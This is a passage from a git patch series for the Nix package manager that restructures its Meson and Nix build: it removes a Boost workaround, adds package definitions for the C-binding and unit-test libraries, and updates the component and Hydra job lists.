preserve_path : true) -# Part of how we copy boost libraries to a separate installation to -# reduce closure size. These libraries will be copied to our `$out/bin`, -# and these `-l` flags will pick them up there. -# -# https://github.com/NixOS/nixpkgs/issues/45462 -libraries_private = ['-lboost_context', '-lboost_coroutine'] +libraries_private = [] if host_machine.system() == 'windows' # `libraries_private` cannot contain ad-hoc dependencies (from # `find_library), so we need to do this manually diff --git a/src/libutil/package.nix b/src/libutil/package.nix index 8ba6daa2a..ef5e251fb 100644 --- a/src/libutil/package.nix +++ b/src/libutil/package.nix @@ -65,7 +65,6 @@ mkMesonDerivation (finalAttrs: { ]; buildInputs = [ - boost brotli libsodium openssl @@ -73,37 +72,17 @@ mkMesonDerivation (finalAttrs: { ; propagatedBuildInputs = [ - boost.dev + boost libarchive nlohmann_json ]; - disallowedReferences = [ boost ]; - preConfigure = # TODO: change release process to add `pre` in `.version`, remove it before tagging, and restore after. '' chmod u+w ./.version echo ${version} > ../../.version - '' - # Copy some boost libraries so we don't get all of Boost in our - # closure. https://github.com/NixOS/nixpkgs/issues/45462 - + lib.optionalString (!stdenv.hostPlatform.isStatic) ('' - mkdir -p $out/lib - cp -pd ${boost}/lib/{libboost_context*,libboost_thread*,libboost_system*} $out/lib - rm -f $out/lib/*.a - '' + lib.optionalString stdenv.hostPlatform.isLinux '' - chmod u+w $out/lib/*.so.* - patchelf --set-rpath $out/lib:${stdenv.cc.cc.lib}/lib $out/lib/libboost_thread.so.* - '' + lib.optionalString stdenv.hostPlatform.isDarwin '' - for LIB in $out/lib/*.dylib; do - chmod u+w $LIB - install_name_tool -id $LIB $LIB - install_name_tool -delete_rpath ${boost}/lib/ $LIB || true - done - install_name_tool -change ${boost}/lib/libboost_system.dylib $out/lib/libboost_system.dylib $out/lib/libboost_thread.dylib - '' - ); + ''; mesonFlags = [ (lib.mesonEnable "cpuid" stdenv.hostPlatform.isx86_64) @@ -120,20 +99,6 @@ mkMesonDerivation (finalAttrs: { enableParallelBuilding = true; - postInstall = - # Remove absolute path to boost libs that ends up in `Libs.private` - # by default, and would clash with out `disallowedReferences`. Part - # of the https://github.com/NixOS/nixpkgs/issues/45462 workaround. - '' - sed -i "$out/lib/pkgconfig/nix-util.pc" -e 's, ${lib.getLib boost}[^ ]*,,g' - '' - + lib.optionalString stdenv.isDarwin '' - install_name_tool \ - -change ${boost}/lib/libboost_context.dylib \ - $out/lib/libboost_context.dylib \ - $out/lib/libnixutil.dylib - ''; - separateDebugInfo = !stdenv.hostPlatform.isStatic; # TODO Always true after https://github.com/NixOS/nixpkgs/issues/318564 diff --git a/src/perl/package.nix b/src/perl/package.nix index e1a84924c..6b8487148 100644 --- a/src/perl/package.nix +++ b/src/perl/package.nix @@ -6,11 +6,6 @@ , ninja , pkg-config , nix-store -, curl -, bzip2 -, xz -, boost -, libsodium , darwin , versionSuffix ? "" }: @@ -45,14 +40,7 @@ perl.pkgs.toPerlModule (stdenv.mkDerivation (finalAttrs: { buildInputs = [ nix-store - curl - bzip2 - xz - perl - boost - ] - ++ lib.optional (stdenv.isLinux || stdenv.isDarwin) libsodium - ++ lib.optional stdenv.isDarwin darwin.apple_sdk.frameworks.Security; + ]; # `perlPackages.Test2Harness` is marked broken for Darwin doCheck = !stdenv.isDarwin; From 92d3a06b252e0c373dc732eafbcb1fa40629f00e Mon Sep 17 00:00:00 2001 From: John Ericson Date: Thu, 27 Jun 2024 17:30:31 -0400 Subject: [PATCH 0952/1251] Remove overrides of removed flags since unit tests broken out --- flake.nix | 2 -- 1 file changed, 2 deletions(-) diff --git a/flake.nix b/flake.nix index 04fc94a55..ba526a9b8 100644 --- a/flake.nix +++ b/flake.nix @@ -145,9 +145,7 @@ nix = final.nixComponents.nix; nix_noTests = final.nix.override { - doCheck = false; doInstallCheck = false; - installUnitTests = false; }; # See https://github.com/NixOS/nixpkgs/pull/214409 From 429d6ae2b59912a7588804853e57711eb00962b6 Mon Sep 17 00:00:00 2001 From: John Ericson Date: Thu, 27 Jun 2024 17:44:34 -0400 Subject: [PATCH 0953/1251] Add missing package.nix --- src/libexpr-c/package.nix | 94 +++++++++++++++++++++ src/libexpr-test-support/package.nix | 96 ++++++++++++++++++++++ src/libexpr-test/package.nix | 113 ++++++++++++++++++++++++++ src/libstore-c/package.nix | 94 +++++++++++++++++++++ src/libstore-test-support/package.nix | 96 ++++++++++++++++++++++ src/libstore-test/package.nix | 113 ++++++++++++++++++++++++++ src/libutil-c/package.nix | 5 -- src/libutil-test-support/package.nix | 7 +- 8 files changed, 607 insertions(+), 11 deletions(-) create mode 100644 src/libexpr-c/package.nix create mode 100644 src/libexpr-test-support/package.nix create mode 100644 src/libexpr-test/package.nix create mode 100644 src/libstore-c/package.nix create mode 100644 src/libstore-test-support/package.nix create mode 100644 src/libstore-test/package.nix diff --git a/src/libexpr-c/package.nix b/src/libexpr-c/package.nix new file mode 100644 index 000000000..ce86780c1 --- /dev/null +++ b/src/libexpr-c/package.nix @@ -0,0 +1,94 @@ +{ lib +, stdenv +, releaseTools + +, meson +, ninja +, pkg-config + +, nix-store-c +, nix-expr + +# Configuration Options + +, versionSuffix ? "" + +# Check test coverage of Nix. Probably want to use with at least +# one of `doCheck` or `doInstallCheck` enabled. +, withCoverageChecks ? false +}: + +let + inherit (lib) fileset; + + version = lib.fileContents ./.version + versionSuffix; + + mkDerivation = + if withCoverageChecks + then + # TODO support `finalAttrs` args function in + # `releaseTools.coverageAnalysis`. + argsFun: + releaseTools.coverageAnalysis (let args = argsFun args; in args) + else stdenv.mkDerivation; +in + +mkDerivation (finalAttrs: { + pname = "nix-expr-c"; + inherit version; + + src = fileset.toSource { + root = ./.; + fileset = fileset.unions [ + ./meson.build + ./meson.options + (fileset.fileFilter (file: file.hasExt "cc") ./.) + (fileset.fileFilter (file: file.hasExt "hh") ./.) + (fileset.fileFilter (file: file.hasExt "h") ./.) + ]; + }; + + outputs = [ "out" "dev" ]; + + nativeBuildInputs = [ + meson + ninja + pkg-config + ]; + + propagatedBuildInputs = [ + nix-store-c + nix-expr + ]; + + preConfigure = + # "Inline" .version so it's not a symlink, and includes the suffix + '' + echo ${version} > .version + ''; + + mesonFlags = [ + ]; + + env = lib.optionalAttrs (stdenv.isLinux && !(stdenv.hostPlatform.isStatic && stdenv.system == "aarch64-linux")) { + LDFLAGS = "-fuse-ld=gold"; + }; + + enableParallelBuilding = true; + + separateDebugInfo = !stdenv.hostPlatform.isStatic; + + # TODO Always true after https://github.com/NixOS/nixpkgs/issues/318564 + strictDeps = !withCoverageChecks; + + hardeningDisable = lib.optional stdenv.hostPlatform.isStatic "pie"; + + meta = { + platforms = lib.platforms.unix ++ lib.platforms.windows; + }; + +} // lib.optionalAttrs withCoverageChecks { + lcovFilter = [ "*/boost/*" "*-tab.*" ]; + + hardeningDisable = [ "fortify" ]; +}) diff --git a/src/libexpr-test-support/package.nix b/src/libexpr-test-support/package.nix new file mode 100644 index 000000000..cbc852fa5 --- /dev/null +++ b/src/libexpr-test-support/package.nix @@ -0,0 +1,96 @@ +{ lib +, stdenv +, releaseTools + +, meson +, ninja +, pkg-config + +, nix-store-test-support +, nix-expr + +, rapidcheck + +# Configuration Options + +, versionSuffix ? "" + +# Check test coverage of Nix. Probably want to use with at least +# one of `doCheck` or `doInstallCheck` enabled. +, withCoverageChecks ? false +}: + +let + inherit (lib) fileset; + + version = lib.fileContents ./.version + versionSuffix; + + mkDerivation = + if withCoverageChecks + then + # TODO support `finalAttrs` args function in + # `releaseTools.coverageAnalysis`. + argsFun: + releaseTools.coverageAnalysis (let args = argsFun args; in args) + else stdenv.mkDerivation; +in + +mkDerivation (finalAttrs: { + pname = "nix-util-test-support"; + inherit version; + + src = fileset.toSource { + root = ./.; + fileset = fileset.unions [ + ./meson.build + # ./meson.options + (fileset.fileFilter (file: file.hasExt "cc") ./.) + (fileset.fileFilter (file: file.hasExt "hh") ./.) + ]; + }; + + outputs = [ "out" "dev" ]; + + nativeBuildInputs = [ + meson + ninja + pkg-config + ]; + + propagatedBuildInputs = [ + nix-store-test-support + nix-expr + rapidcheck + ]; + + preConfigure = + # "Inline" .version so it's not a symlink, and includes the suffix + '' + echo ${version} > .version + ''; + + mesonFlags = [ + ]; + + env = lib.optionalAttrs (stdenv.isLinux && !(stdenv.hostPlatform.isStatic && stdenv.system == "aarch64-linux")) { + LDFLAGS = "-fuse-ld=gold"; + }; + + enableParallelBuilding = true; + + separateDebugInfo = !stdenv.hostPlatform.isStatic; + + # TODO Always true after https://github.com/NixOS/nixpkgs/issues/318564 + strictDeps = !withCoverageChecks; + + hardeningDisable = lib.optional stdenv.hostPlatform.isStatic "pie"; + + meta = { + platforms = lib.platforms.unix ++ lib.platforms.windows; + }; + +} // lib.optionalAttrs withCoverageChecks { + lcovFilter = [ "*/boost/*" "*-tab.*" ]; + + hardeningDisable = [ "fortify" ]; +}) diff --git a/src/libexpr-test/package.nix b/src/libexpr-test/package.nix new file mode 100644 index 000000000..7c8c9c4d1 --- /dev/null +++ b/src/libexpr-test/package.nix @@ -0,0 +1,113 @@ +{ lib +, stdenv +, releaseTools + +, meson +, ninja +, pkg-config + +, nix-expr +, nix-expr-c +, nix-expr-test-support + +, rapidcheck +, gtest +, runCommand + +# Configuration Options + +, versionSuffix ? "" + +# Check test coverage of Nix. Probably want to use with at least +# one of `doCheck` or `doInstallCheck` enabled. +, withCoverageChecks ? false +}: + +let + inherit (lib) fileset; + + version = lib.fileContents ./.version + versionSuffix; + + mkDerivation = + if withCoverageChecks + then + # TODO support `finalAttrs` args function in + # `releaseTools.coverageAnalysis`. + argsFun: + releaseTools.coverageAnalysis (let args = argsFun args; in args) + else stdenv.mkDerivation; +in + +mkDerivation (finalAttrs: { + pname = "nix-expr-test"; + inherit version; + + src = fileset.toSource { + root = ./.; + fileset = fileset.unions [ + ./meson.build + # ./meson.options + (fileset.fileFilter (file: file.hasExt "cc") ./.) + (fileset.fileFilter (file: file.hasExt "hh") ./.) + ]; + }; + + outputs = [ "out" "dev" ]; + + nativeBuildInputs = [ + meson + ninja + pkg-config + ]; + + buildInputs = [ + nix-expr + nix-expr-c + nix-expr-test-support + rapidcheck + gtest + ]; + + preConfigure = + # "Inline" .version so it's not a symlink, and includes the suffix + '' + echo ${version} > .version + ''; + + mesonFlags = [ + ]; + + env = lib.optionalAttrs (stdenv.isLinux && !(stdenv.hostPlatform.isStatic && stdenv.system == "aarch64-linux")) { + LDFLAGS = "-fuse-ld=gold"; + }; + + enableParallelBuilding = true; + + separateDebugInfo = !stdenv.hostPlatform.isStatic; + + # TODO Always true after https://github.com/NixOS/nixpkgs/issues/318564 + strictDeps = !withCoverageChecks; + + hardeningDisable = lib.optional stdenv.hostPlatform.isStatic "pie"; + + passthru = { + tests = { + run = runCommand "${finalAttrs.pname}-run" { + } '' + PATH="${lib.makeBinPath [ finalAttrs.finalPackage ]}:$PATH" + export _NIX_TEST_UNIT_DATA=${./data} + nix-expr-test + touch $out + ''; + }; + }; + + meta = { + platforms = lib.platforms.unix ++ lib.platforms.windows; + }; + +} // lib.optionalAttrs withCoverageChecks { + lcovFilter = [ "*/boost/*" "*-tab.*" ]; + + hardeningDisable = [ "fortify" ]; +}) diff --git a/src/libstore-c/package.nix b/src/libstore-c/package.nix new file mode 100644 index 000000000..aedbad4a2 --- /dev/null +++ b/src/libstore-c/package.nix @@ -0,0 +1,94 @@ +{ lib +, stdenv +, releaseTools + +, meson +, ninja +, pkg-config + +, nix-util-c +, nix-store + +# Configuration Options + +, versionSuffix ? "" + +# Check test coverage of Nix. Probably want to use with at least +# one of `doCheck` or `doInstallCheck` enabled. +, withCoverageChecks ? false +}: + +let + inherit (lib) fileset; + + version = lib.fileContents ./.version + versionSuffix; + + mkDerivation = + if withCoverageChecks + then + # TODO support `finalAttrs` args function in + # `releaseTools.coverageAnalysis`. + argsFun: + releaseTools.coverageAnalysis (let args = argsFun args; in args) + else stdenv.mkDerivation; +in + +mkDerivation (finalAttrs: { + pname = "nix-store-c"; + inherit version; + + src = fileset.toSource { + root = ./.; + fileset = fileset.unions [ + ./meson.build + ./meson.options + (fileset.fileFilter (file: file.hasExt "cc") ./.) + (fileset.fileFilter (file: file.hasExt "hh") ./.) + (fileset.fileFilter (file: file.hasExt "h") ./.) + ]; + }; + + outputs = [ "out" "dev" ]; + + nativeBuildInputs = [ + meson + ninja + pkg-config + ]; + + propagatedBuildInputs = [ + nix-util-c + nix-store + ]; + + preConfigure = + # "Inline" .version so it's not a symlink, and includes the suffix + '' + echo ${version} > .version + ''; + + mesonFlags = [ + ]; + + env = lib.optionalAttrs (stdenv.isLinux && !(stdenv.hostPlatform.isStatic && stdenv.system == "aarch64-linux")) { + LDFLAGS = "-fuse-ld=gold"; + }; + + enableParallelBuilding = true; + + separateDebugInfo = !stdenv.hostPlatform.isStatic; + + # TODO Always true after https://github.com/NixOS/nixpkgs/issues/318564 + strictDeps = !withCoverageChecks; + + hardeningDisable = lib.optional stdenv.hostPlatform.isStatic "pie"; + + meta = { + platforms = lib.platforms.unix ++ lib.platforms.windows; + }; + +} // lib.optionalAttrs withCoverageChecks { + lcovFilter = [ "*/boost/*" "*-tab.*" ]; + + hardeningDisable = [ "fortify" ]; +}) diff --git a/src/libstore-test-support/package.nix b/src/libstore-test-support/package.nix new file mode 100644 index 000000000..a28f54e2a --- /dev/null +++ b/src/libstore-test-support/package.nix @@ -0,0 +1,96 @@ +{ lib +, stdenv +, releaseTools + +, meson +, ninja +, pkg-config + +, nix-util-test-support +, nix-store + +, rapidcheck + +# Configuration Options + +, versionSuffix ? "" + +# Check test coverage of Nix. Probably want to use with at least +# one of `doCheck` or `doInstallCheck` enabled. +, withCoverageChecks ? false +}: + +let + inherit (lib) fileset; + + version = lib.fileContents ./.version + versionSuffix; + + mkDerivation = + if withCoverageChecks + then + # TODO support `finalAttrs` args function in + # `releaseTools.coverageAnalysis`. + argsFun: + releaseTools.coverageAnalysis (let args = argsFun args; in args) + else stdenv.mkDerivation; +in + +mkDerivation (finalAttrs: { + pname = "nix-store-test-support"; + inherit version; + + src = fileset.toSource { + root = ./.; + fileset = fileset.unions [ + ./meson.build + # ./meson.options + (fileset.fileFilter (file: file.hasExt "cc") ./.) + (fileset.fileFilter (file: file.hasExt "hh") ./.) + ]; + }; + + outputs = [ "out" "dev" ]; + + nativeBuildInputs = [ + meson + ninja + pkg-config + ]; + + propagatedBuildInputs = [ + nix-util-test-support + nix-store + rapidcheck + ]; + + preConfigure = + # "Inline" .version so it's not a symlink, and includes the suffix + '' + echo ${version} > .version + ''; + + mesonFlags = [ + ]; + + env = lib.optionalAttrs (stdenv.isLinux && !(stdenv.hostPlatform.isStatic && stdenv.system == "aarch64-linux")) { + LDFLAGS = "-fuse-ld=gold"; + }; + + enableParallelBuilding = true; + + separateDebugInfo = !stdenv.hostPlatform.isStatic; + + # TODO Always true after https://github.com/NixOS/nixpkgs/issues/318564 + strictDeps = !withCoverageChecks; + + hardeningDisable = lib.optional stdenv.hostPlatform.isStatic "pie"; + + meta = { + platforms = lib.platforms.unix ++ lib.platforms.windows; + }; + +} // lib.optionalAttrs withCoverageChecks { + lcovFilter = [ "*/boost/*" "*-tab.*" ]; + + hardeningDisable = [ "fortify" ]; +}) diff --git a/src/libstore-test/package.nix b/src/libstore-test/package.nix new file mode 100644 index 000000000..b57adfea5 --- /dev/null +++ b/src/libstore-test/package.nix @@ -0,0 +1,113 @@ +{ lib +, stdenv +, releaseTools + +, meson +, ninja +, pkg-config + +, nix-store +, nix-store-c +, nix-store-test-support + +, rapidcheck +, gtest +, runCommand + +# Configuration Options + +, versionSuffix ? "" + +# Check test coverage of Nix. Probably want to use with at least +# one of `doCheck` or `doInstallCheck` enabled. +, withCoverageChecks ? false +}: + +let + inherit (lib) fileset; + + version = lib.fileContents ./.version + versionSuffix; + + mkDerivation = + if withCoverageChecks + then + # TODO support `finalAttrs` args function in + # `releaseTools.coverageAnalysis`. + argsFun: + releaseTools.coverageAnalysis (let args = argsFun args; in args) + else stdenv.mkDerivation; +in + +mkDerivation (finalAttrs: { + pname = "nix-store-test"; + inherit version; + + src = fileset.toSource { + root = ./.; + fileset = fileset.unions [ + ./meson.build + # ./meson.options + (fileset.fileFilter (file: file.hasExt "cc") ./.) + (fileset.fileFilter (file: file.hasExt "hh") ./.) + ]; + }; + + outputs = [ "out" "dev" ]; + + nativeBuildInputs = [ + meson + ninja + pkg-config + ]; + + buildInputs = [ + nix-store + nix-store-c + nix-store-test-support + rapidcheck + gtest + ]; + + preConfigure = + # "Inline" .version so it's not a symlink, and includes the suffix + '' + echo ${version} > .version + ''; + + mesonFlags = [ + ]; + + env = lib.optionalAttrs (stdenv.isLinux && !(stdenv.hostPlatform.isStatic && stdenv.system == "aarch64-linux")) { + LDFLAGS = "-fuse-ld=gold"; + }; + + enableParallelBuilding = true; + + separateDebugInfo = !stdenv.hostPlatform.isStatic; + + # TODO Always true after https://github.com/NixOS/nixpkgs/issues/318564 + strictDeps = !withCoverageChecks; + + hardeningDisable = lib.optional stdenv.hostPlatform.isStatic "pie"; + + passthru = { + tests = { + run = runCommand "${finalAttrs.pname}-run" { + } '' + PATH="${lib.makeBinPath [ finalAttrs.finalPackage ]}:$PATH" + export _NIX_TEST_UNIT_DATA=${./data} + nix-store-test + touch $out + ''; + }; + }; + + meta = { + platforms = lib.platforms.unix ++ lib.platforms.windows; + }; + +} // lib.optionalAttrs withCoverageChecks { + lcovFilter = [ "*/boost/*" "*-tab.*" ]; + + hardeningDisable = [ "fortify" ]; +}) diff --git a/src/libutil-c/package.nix b/src/libutil-c/package.nix index 05a26c17e..37f2291b5 100644 --- a/src/libutil-c/package.nix +++ b/src/libutil-c/package.nix @@ -55,11 +55,6 @@ mkDerivation (finalAttrs: { pkg-config ]; - buildInputs = [ - nix-util - ] - ; - propagatedBuildInputs = [ nix-util ]; diff --git a/src/libutil-test-support/package.nix b/src/libutil-test-support/package.nix index 0be0a9945..c6a0f0183 100644 --- a/src/libutil-test-support/package.nix +++ b/src/libutil-test-support/package.nix @@ -56,14 +56,9 @@ mkDerivation (finalAttrs: { pkg-config ]; - buildInputs = [ - nix-util - rapidcheck - ] - ; - propagatedBuildInputs = [ nix-util + rapidcheck ]; preConfigure = From 46ec69a483576ce095f1fde14583f174cdee2e8c Mon Sep 17 00:00:00 2001 From: John Ericson Date: Thu, 27 Jun 2024 18:09:32 -0400 Subject: [PATCH 0954/1251] Everything builds in the dev shell now --- flake.nix | 4 ++ packaging/components.nix | 8 +-- src/libexpr-c/package.nix | 2 +- src/libexpr-test/meson.build | 3 + src/libexpr/package.nix | 2 +- src/libfetchers-test/package.nix | 111 +++++++++++++++++++++++++++++++ src/libflake-test/package.nix | 111 +++++++++++++++++++++++++++++++ src/libstore-c/package.nix | 2 +- src/libstore-test/meson.build | 3 + 9 files changed, 238 insertions(+), 8 deletions(-) create mode 100644 src/libfetchers-test/package.nix create mode 100644 src/libflake-test/package.nix diff --git a/flake.nix b/flake.nix index ba526a9b8..fc46ef940 100644 --- a/flake.nix +++ b/flake.nix @@ -334,6 +334,10 @@ ++ lib.optional (stdenv.cc.isClang && stdenv.hostPlatform == stdenv.buildPlatform) pkgs.buildPackages.clang-tools; buildInputs = attrs.buildInputs or [] + ++ [ + pkgs.gtest + pkgs.rapidcheck + ] ++ lib.optional havePerl pkgs.perl ; }); diff --git a/packaging/components.nix b/packaging/components.nix index 97b989f1f..5576877cb 100644 --- a/packaging/components.nix +++ b/packaging/components.nix @@ -8,28 +8,26 @@ in nix = callPackage ../package.nix { }; nix-util = callPackage ../src/libutil/package.nix { }; + nix-util-c = callPackage ../src/libutil-c/package.nix { }; nix-util-test-support = callPackage ../src/libutil-test-support/package.nix { }; nix-util-test = callPackage ../src/libutil-test/package.nix { }; - nix-util-c = callPackage ../src/libutil-c/package.nix { }; nix-store = callPackage ../src/libstore/package.nix { }; + nix-store-c = callPackage ../src/libstore-c/package.nix { }; nix-store-test-support = callPackage ../src/libstore-test-support/package.nix { }; nix-store-test = callPackage ../src/libstore-test/package.nix { }; - nix-store-c = callPackage ../src/libstore-c/package.nix { }; nix-fetchers = callPackage ../src/libfetchers/package.nix { }; nix-fetchers-test = callPackage ../src/libfetchers-test/package.nix { }; - nix-fetchers-c = callPackage ../src/libfetchers-c/package.nix { }; nix-expr = callPackage ../src/libexpr/package.nix { }; + nix-expr-c = callPackage ../src/libexpr-c/package.nix { }; nix-expr-test-support = callPackage ../src/libexpr-test-support/package.nix { }; nix-expr-test = callPackage ../src/libexpr-test/package.nix { }; - nix-expr-c = callPackage ../src/libexpr-c/package.nix { }; nix-flake = callPackage ../src/libflake/package.nix { }; nix-internal-api-docs = callPackage ../src/internal-api-docs/package.nix { }; - nix-external-api-docs = callPackage ../src/external-api-docs/package.nix { }; nix-perl-bindings = callPackage ../src/perl/package.nix { }; diff --git a/src/libexpr-c/package.nix b/src/libexpr-c/package.nix index ce86780c1..542be064d 100644 --- a/src/libexpr-c/package.nix +++ b/src/libexpr-c/package.nix @@ -41,7 +41,7 @@ mkDerivation (finalAttrs: { root = ./.; fileset = fileset.unions [ ./meson.build - ./meson.options + # ./meson.options (fileset.fileFilter (file: file.hasExt "cc") ./.) (fileset.fileFilter (file: file.hasExt "hh") ./.) (fileset.fileFilter (file: file.hasExt "h") ./.) diff --git a/src/libexpr-test/meson.build b/src/libexpr-test/meson.build index e5bb771e3..cc32b0a1a 100644 --- a/src/libexpr-test/meson.build +++ b/src/libexpr-test/meson.build @@ -39,6 +39,9 @@ deps_private += rapidcheck gtest = dependency('gtest', main : true) deps_private += gtest +gtest = dependency('gmock') +deps_private += gtest + add_project_arguments( # TODO(Qyriad): Yes this is how the autoconf+Make system did it. # It would be nice for our headers to be idempotent instead. diff --git a/src/libexpr/package.nix b/src/libexpr/package.nix index 799368ee9..14fbf0a06 100644 --- a/src/libexpr/package.nix +++ b/src/libexpr/package.nix @@ -85,7 +85,7 @@ mkDerivation (finalAttrs: { ''; mesonFlags = [ - (lib.mesonFeature "gc" enableGC) + (lib.mesonEnable "gc" enableGC) ]; env = { diff --git a/src/libfetchers-test/package.nix b/src/libfetchers-test/package.nix new file mode 100644 index 000000000..f4d3f3b73 --- /dev/null +++ b/src/libfetchers-test/package.nix @@ -0,0 +1,111 @@ +{ lib +, stdenv +, releaseTools + +, meson +, ninja +, pkg-config + +, nix-fetchers +, nix-store-test-support + +, rapidcheck +, gtest +, runCommand + +# Configuration Options + +, versionSuffix ? "" + +# Check test coverage of Nix. Probably want to use with at least +# one of `doCheck` or `doInstallCheck` enabled. +, withCoverageChecks ? false +}: + +let + inherit (lib) fileset; + + version = lib.fileContents ./.version + versionSuffix; + + mkDerivation = + if withCoverageChecks + then + # TODO support `finalAttrs` args function in + # `releaseTools.coverageAnalysis`. + argsFun: + releaseTools.coverageAnalysis (let args = argsFun args; in args) + else stdenv.mkDerivation; +in + +mkDerivation (finalAttrs: { + pname = "nix-fetchers-test"; + inherit version; + + src = fileset.toSource { + root = ./.; + fileset = fileset.unions [ + ./meson.build + # ./meson.options + (fileset.fileFilter (file: file.hasExt "cc") ./.) + (fileset.fileFilter (file: file.hasExt "hh") ./.) + ]; + }; + + outputs = [ "out" "dev" ]; + + nativeBuildInputs = [ + meson + ninja + pkg-config + ]; + + buildInputs = [ + nix-fetchers + nix-store-test-support + rapidcheck + gtest + ]; + + preConfigure = + # "Inline" .version so it's not a symlink, and includes the suffix + '' + echo ${version} > .version + ''; + + mesonFlags = [ + ]; + + env = lib.optionalAttrs (stdenv.isLinux && !(stdenv.hostPlatform.isStatic && stdenv.system == "aarch64-linux")) { + LDFLAGS = "-fuse-ld=gold"; + }; + + enableParallelBuilding = true; + + separateDebugInfo = !stdenv.hostPlatform.isStatic; + + # TODO Always true after https://github.com/NixOS/nixpkgs/issues/318564 + strictDeps = !withCoverageChecks; + + hardeningDisable = lib.optional stdenv.hostPlatform.isStatic "pie"; + + passthru = { + tests = { + run = runCommand "${finalAttrs.pname}-run" { + } '' + PATH="${lib.makeBinPath [ finalAttrs.finalPackage ]}:$PATH" + export _NIX_TEST_UNIT_DATA=${./data} + nix-fetchers-test + touch $out + ''; + }; + }; + + meta = { + platforms = lib.platforms.unix ++ lib.platforms.windows; + }; + +} // lib.optionalAttrs withCoverageChecks { + lcovFilter = [ "*/boost/*" "*-tab.*" ]; + + hardeningDisable = [ "fortify" ]; +}) diff --git a/src/libflake-test/package.nix b/src/libflake-test/package.nix new file mode 100644 index 000000000..f03f58619 --- /dev/null +++ b/src/libflake-test/package.nix @@ -0,0 +1,111 @@ +{ lib +, stdenv +, releaseTools + +, meson +, ninja +, pkg-config + +, nix-flake +, nix-expr-test-support + +, rapidcheck +, gtest +, runCommand + +# Configuration Options + +, versionSuffix ? "" + +# Check test coverage of Nix. Probably want to use with at least +# one of `doCheck` or `doInstallCheck` enabled. +, withCoverageChecks ? false +}: + +let + inherit (lib) fileset; + + version = lib.fileContents ./.version + versionSuffix; + + mkDerivation = + if withCoverageChecks + then + # TODO support `finalAttrs` args function in + # `releaseTools.coverageAnalysis`. + argsFun: + releaseTools.coverageAnalysis (let args = argsFun args; in args) + else stdenv.mkDerivation; +in + +mkDerivation (finalAttrs: { + pname = "nix-flake-test"; + inherit version; + + src = fileset.toSource { + root = ./.; + fileset = fileset.unions [ + ./meson.build + # ./meson.options + (fileset.fileFilter (file: file.hasExt "cc") ./.) + (fileset.fileFilter (file: file.hasExt "hh") ./.) + ]; + }; + + outputs = [ "out" "dev" ]; + + nativeBuildInputs = [ + meson + ninja + pkg-config + ]; + + buildInputs = [ + nix-flake + nix-expr-test-support + rapidcheck + gtest + ]; + + preConfigure = + # "Inline" .version so it's not a symlink, and includes the suffix + '' + echo ${version} > .version + ''; + + mesonFlags = [ + ]; + + env = lib.optionalAttrs (stdenv.isLinux && !(stdenv.hostPlatform.isStatic && stdenv.system == "aarch64-linux")) { + LDFLAGS = "-fuse-ld=gold"; + }; + + enableParallelBuilding = true; + + separateDebugInfo = !stdenv.hostPlatform.isStatic; + + # TODO Always true after https://github.com/NixOS/nixpkgs/issues/318564 + strictDeps = !withCoverageChecks; + + hardeningDisable = lib.optional stdenv.hostPlatform.isStatic "pie"; + + passthru = { + tests = { + run = runCommand "${finalAttrs.pname}-run" { + } '' + PATH="${lib.makeBinPath [ finalAttrs.finalPackage ]}:$PATH" + export _NIX_TEST_UNIT_DATA=${./data} + nix-flake-test + touch $out + ''; + }; + }; + + meta = { + platforms = lib.platforms.unix ++ lib.platforms.windows; + }; + +} // lib.optionalAttrs withCoverageChecks { + lcovFilter = [ "*/boost/*" "*-tab.*" ]; + + hardeningDisable = [ "fortify" ]; +}) diff --git a/src/libstore-c/package.nix b/src/libstore-c/package.nix index aedbad4a2..2ed78a760 100644 --- a/src/libstore-c/package.nix +++ b/src/libstore-c/package.nix @@ -41,7 +41,7 @@ mkDerivation (finalAttrs: { root = ./.; fileset = fileset.unions [ ./meson.build - ./meson.options + # ./meson.options (fileset.fileFilter (file: file.hasExt "cc") ./.) (fileset.fileFilter (file: file.hasExt "hh") ./.) (fileset.fileFilter (file: file.hasExt "h") ./.) diff --git a/src/libstore-test/meson.build b/src/libstore-test/meson.build index cb561977c..2cdbfa7b5 100644 --- a/src/libstore-test/meson.build +++ b/src/libstore-test/meson.build @@ -36,6 +36,9 @@ deps_private += rapidcheck gtest = dependency('gtest', main : true) deps_private += gtest +gtest = dependency('gmock') +deps_private += gtest + add_project_arguments( # TODO(Qyriad): Yes this is how the autoconf+Make system did it. # It would be nice for our headers to be idempotent instead. From 2c184f694be1835a50b628c0a8d9ab860583ce0e Mon Sep 17 00:00:00 2001 From: John Ericson Date: Thu, 27 Jun 2024 18:18:37 -0400 Subject: [PATCH 0955/1251] Ensure we have data dir for libexpr unit tests --- src/libexpr-test/data/.gitkeep | 0 1 file changed, 0 insertions(+), 0 deletions(-) create mode 100644 src/libexpr-test/data/.gitkeep diff --git a/src/libexpr-test/data/.gitkeep b/src/libexpr-test/data/.gitkeep new file mode 100644 index 000000000..e69de29bb From 79e0ef88bf90a968c4867d28060354d1ea0f1d6d Mon Sep 17 00:00:00 2001 From: John Ericson Date: Thu, 27 Jun 2024 18:24:49 -0400 Subject: [PATCH 0956/1251] Include missing components --- packaging/components.nix | 1 + packaging/hydra.nix | 10 ++++++++++ 2 files changed, 11 insertions(+) diff --git a/packaging/components.nix b/packaging/components.nix index 5576877cb..73f0d24e1 100644 --- a/packaging/components.nix +++ b/packaging/components.nix @@ -26,6 +26,7 @@ in nix-expr-test = callPackage ../src/libexpr-test/package.nix { }; nix-flake = callPackage ../src/libflake/package.nix { }; + nix-flake-test = callPackage ../src/libflake-test/package.nix { }; nix-internal-api-docs = callPackage ../src/internal-api-docs/package.nix { }; nix-external-api-docs = callPackage ../src/external-api-docs/package.nix { }; diff --git a/packaging/hydra.nix b/packaging/hydra.nix index a1691ed38..8c212d2fb 100644 --- a/packaging/hydra.nix +++ b/packaging/hydra.nix @@ -40,7 +40,17 @@ let "nix-util-test-support" "nix-util-test" "nix-store" + "nix-store-c" + "nix-store-test-support" + "nix-store-test" "nix-fetchers" + "nix-fetcher-test" + "nix-expr" + "nix-expr-c" + "nix-expr-test-support" + "nix-expr-test" + "nix-flake" + "nix-flake-test" ]; in { From 6a0582d9fd258013362c435d96cc72d0e4b15320 Mon Sep 17 00:00:00 2001 From: John Ericson Date: Thu, 27 Jun 2024 18:28:13 -0400 Subject: [PATCH 0957/1251] Rename file to avoid reserved name --- .../deps-lists/meson.build | 0 .../diagnostics/meson.build | 0 .../export-all-symbols/meson.build | 0 .../export/meson.build | 0 .../subprojects/meson.build | 0 .../threads/meson.build | 0 meson.build | 4 ++-- src/libcmd/build-utils-meson | 1 + 